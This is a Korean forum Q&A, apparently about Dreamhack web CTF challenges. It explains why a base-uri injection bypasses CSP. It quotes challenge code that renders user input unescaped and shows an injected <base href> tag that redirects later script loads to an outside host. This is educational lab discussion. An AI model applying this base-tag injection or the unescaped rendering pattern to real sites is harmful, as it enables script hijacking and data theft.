base uri, css injection 을 이용한 방법으로는 해결 불가능할까요??
base uri, css injection(style 태그 background:url), 드림핵 툴즈의 requests bin 기능을 이용한 방법으로는 해결 불가능할까요?
해당방법으로 /vuln 페이지에 파라미터 전달하면 제가 의도한데로 동작하는데 /flag 페이지에 값을 입력하면 동작하지 않네요... 따로 문자열 필터링될것도 없는데...ㅠㅠ
#web
작성자 정보
답변
1
dokdojikim2
대표 업적 없음
당연하죠. CSP Bypass Advanced 문제의 소스코드를 보시면
app.py
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return render_template("vuln.html", param=param, nonce=nonce)
vuln.html
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
{{ param | safe }}
{% endblock %}
위 코드들을 보면, 우리가 입력한 param 값이 HTML로 전달되는 것을 확인할 수 있습니다.
vuln.html
<html><head>
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="/static/css/non-responsive.css">
<title>Index CSP-Bypass-Advanced</title>
<style type="text/css">
.important { color: #336699; }
</style>
<style id="mttstyle">
#mttContainer {
left: 0 !important;
top: 0 !important;
position: fixed !important;
z-index: 100000200 !important;
width: 1000px !important;
margin-left: -500px !important;
background-color: #00000000 !important;
pointer-events: none !important;
display: inline-block !important;
}
.bootstrapiso .tooltip {
width:auto !important;
height:auto !important;
background:transparent !important;
border:none !important;
border-radius: 0px !important;
visibility: visible !important;
pointer-events: none !important;
}
.bootstrapiso .tooltip-inner {
font-size: 14px !important;
max-width: 200px !important;
text-align: center !important;
backdrop-filter: blur(2px) !important;
background-color: #000000b8 !important;
color: #ffffffff !important;
pointer-events: none !important;
}
.bootstrapiso .arrow::before {
border-top-color: #000000b8 !important;
}
.bootstrapiso .arrow::after {
display:none !important;
}
.ocr_text_div{
position: absolute;
opacity: 0.7;
z-index: 100000;
pointer-events: auto;
font-size: 2.5em;
overflow: hidden;
border: 2px solid CornflowerBlue;
color:#00000000 !important;
background-color: #00000000 !important
}
</style></head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">CSP-Bypass-Advanced</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<div class="container">
<base href="http://www.example.com">
</div> <!-- /container -->
<!-- Bootstrap core JavaScript -->
<script src="/static/js/jquery.min.js" nonce=""></script>
<script src="/static/js/bootstrap.min.js" nonce=""></script>
<div id="mttContainer" class="bootstrapiso notranslate" data-original-title="" title=""></div></body></html>
여기서 제일 중요한 점은 param 값이 들어간 이후에 있는 자바스크립트 코드가 base-uri을 기반으로 해석되는 부분입니다.
이 때문에 우리는 base-uri을 활용한 공격을 시도할 수 있습니다.
<script src="/static/js/jquery.min.js" nonce=""></script>
<script src="/static/js/bootstrap.min.js" nonce=""></script>
근데 Client Side Template Injection 문제에서는 style 태그든 javascript 태그가 param 밑에 없는데 어떻게 base-uri로 공격을 할 수 있을까요??ㅎㅎ